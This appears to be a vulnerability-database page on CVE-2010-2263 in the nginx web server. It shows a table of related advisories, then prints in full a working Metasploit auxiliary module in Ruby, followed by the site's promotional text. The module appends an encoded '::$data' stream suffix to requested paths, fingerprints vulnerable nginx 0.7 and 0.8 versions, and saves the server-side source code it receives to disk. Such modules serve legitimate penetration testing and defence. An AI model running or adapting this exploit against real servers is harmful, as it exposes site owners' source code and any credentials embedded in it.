| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2010-2263 | 11 Jun 201000:00 | – | circl | |
| CVE-2010-2263 | 14 Jun 201018:00 | – | cve | |
| CVE-2010-2263 | 14 Jun 201018:00 | – | cvelist | |
| CVE-2010-2263 | 14 Jun 201018:00 | – | debiancve | |
| Nginx Source Code Disclosure/Download | 17 Jun 201011:00 | – | metasploit | |
| Vulnerabilities with Windows file default stream | 14 Jun 201018:00 | – | nginx | |
| nginx < 0.7.66 / 0.8.x < 0.8.40 Information Disclosure | 9 Mar 201800:00 | – | nessus | |
| CVE-2010-2263 | 15 Jun 201014:04 | – | nvd | |
| nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities | 14 Jun 201000:00 | – | openvas | |
| nginx <= 0.8.36 Remote Source Code Disclosure and DoS Vulnerabilities | 14 Jun 201000:00 | – | openvas |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Nginx Source Code Disclosure/Download',
'Description' => %q{
This module exploits a source code disclosure/download vulnerability in
versions 0.7 and 0.8 of the nginx web server. Versions 0.7.66 and 0.8.40
correct this vulnerability.
},
'References' =>
[
[ 'CVE', '2010-2263' ],
[ 'OSVDB', '65531' ],
[ 'BID', '40760' ],
[ 'EDB', '13818' ],
[ 'EDB', '13822' ]
],
'Author' =>
[
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
],
'License' => MSF_LICENSE)
register_options(
[
OptString.new('TARGETURI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
])
end
def run_host(ip)
uri = normalize_uri(target_uri.path)
path_save = datastore['PATH_SAVE']
vuln_versions = [
# 0.7
"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",
"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",
"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",
# 0.8
"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",
"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",
"nginx/0.8.39"
]
get_source = Rex::Text.uri_encode("::$data")
begin
res = send_request_raw(
{
'method' => 'GET',
'uri' => "#{uri}#{get_source}",
}, 25)
if res.nil?
print_error("#{full_uri} - nginx - Connection timed out")
return
else
version = res.headers['Server']
http_fingerprint({ :response => res })
end
if vuln_versions.include?(version)
print_good("#{full_uri} - nginx - Vulnerable version: #{version}")
if (res and res.code == 200)
print_good("#{full_uri} - nginx - Getting the source of page #{uri}")
save_source = File.new("#{path_save}#{uri}","w")
save_source.puts(res.body.to_s)
save_source.close
print_good("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
else
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
return
end
else
if version =~ /nginx/
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")
else
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not ngnix")
end
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation